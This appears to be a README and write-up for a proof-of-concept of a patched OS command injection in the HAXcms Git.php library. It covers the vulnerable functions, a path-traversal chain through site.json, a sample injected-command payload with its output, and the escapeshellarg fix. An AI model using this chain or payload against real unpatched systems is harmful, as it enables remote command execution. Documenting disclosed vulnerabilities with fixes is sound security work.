
PoC and writeup for CVE-2026-46394: OS command injection in HAXcms Git.php (CWE-78). Authorized security research only.
Git.php OS Command Injection (CWE-78)Proof-of-concept for authorized security testing and research only. The vulnerability described here is fixed in the latest release of HAXcms. This PoC is published so that defenders and researchers can verify the issue on unpatched instances they own or are explicitly authorized to test.
| CVE | CVE-2026-46394 |
| Component | HAXcms PHP backend - system/backend/php/lib/Git.php |
| Vulnerability | OS Command Injection (CWE-78) |
| Severity | High - CVSS 3.1 7.2 standalone / 8.1 chained with path traversal |
| Status | Fixed upstream. Affects releases prior to the patch. |
| Project | elmsln/HAXcms |
| Reporter | Shreyas Challa ([email protected]) |
The Git.php library in the HAXcms PHP backend builds shell command strings by
concatenating unsanitized parameters and passes them straight to
proc_open(). Of the 17 functions that execute shell commands, only one
(commit()) uses escapeshellarg(). The remaining 15 interpolate caller
input directly into the command string.
Any value containing shell metacharacters (&, ;, |, $(), backticks) that
reaches one of these functions results in arbitrary OS command execution as
the web-server user.
The single correctly-escaped function is the clearest evidence that the escaping was understood and simply omitted everywhere else.
Every vulnerable function flows through run() → run_command() → proc_open():
// Git.php:408-411 - builds a raw command string
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
Vulnerable example vs. the one safe function:
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
| Function | Line | Shell command | Escaped? |
|---|---|---|---|
create_branch($branch) | 574 | branch $branch | NO |
delete_branch($branch) | 588 | branch -d $branch | NO |
checkout($branch) | 663 | checkout $branch | NO |
merge($branch) | 677 | merge $branch --no-ff | NO |
push($remote, $branch) | 785 | push $remote $branch $flags | NO |
pull($remote, $branch) | 799 | pull $remote $branch | NO |
log($format) | 813 | log --pretty=format:"$format" | NO |
show($commit, $format) | 830 | show --pretty=format:"$format" $commit | NO |
list_tags($pattern) | 763 | tag -l $pattern | NO |
clone_to($target) | 512 | clone --local $repo $target | NO |
clone_from($source) | 527 | clone --local $source $repo | NO |
clone_remote($source) | 543 | clone $source $repo | NO |
set_remote($dest, $url) | 460 | remote add $dest $url | NO |
rm($files) |
In the shipped codebase these functions are invoked with values drawn from server/site configuration rather than directly from request bodies, so exploitation is realized by chaining:
saveOutline path
traversal to overwrite a site's site.json, injecting metacharacters into
metadata.site.git.branch. The next gitCommit() calls
push('origin', $branch) at HAXCMSSite.php:584, executing the payload.create_branch() (Operations.php:2762) or set_remote()
(HAXCMSSite.php:625).The PoC drives the real Git.php library directly: it spins up a throwaway git
repo, calls create_branch() with a payload that uses a shell command separator,
and confirms execution by checking for a proof file written to disk. It cleans
up after itself.
git on PATHgit clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
Point the PoC at the Git.php from your HAXcms clone (env var or first argument);
it also auto-discovers haxcms-php/ placed next to it:
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
Works on both Unix (; separator) and Windows (& separator); the PoC selects
the right payload for the host OS automatically.
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
Apply escapeshellarg() to every parameter in all 15 functions:
// BEFORE
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
Defense in depth - validate values before they reach the git layer:
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
Update to the latest HAXcms release, which contains the upstream fix.
This issue was reported to the HAXcms maintainers and fixed before publication. The PoC is released only after a patch was available. Use it exclusively against systems you own or are explicitly authorized to test.
This material is provided for defensive research, education, and authorized
security testing. Running it against systems without explicit permission may
be illegal. You are solely responsible for complying with all applicable laws
and for obtaining authorization before testing. Provided "as is" with no
warranty (see LICENSE).
| 479 |
rm $files |
| NO |
add_tag($tag, $msg) | 749 | tag -a $tag -m $msg | $tag: NO, $msg: yes |
commit($message) | 496 | commit -av -m $message | YES (only safe one) |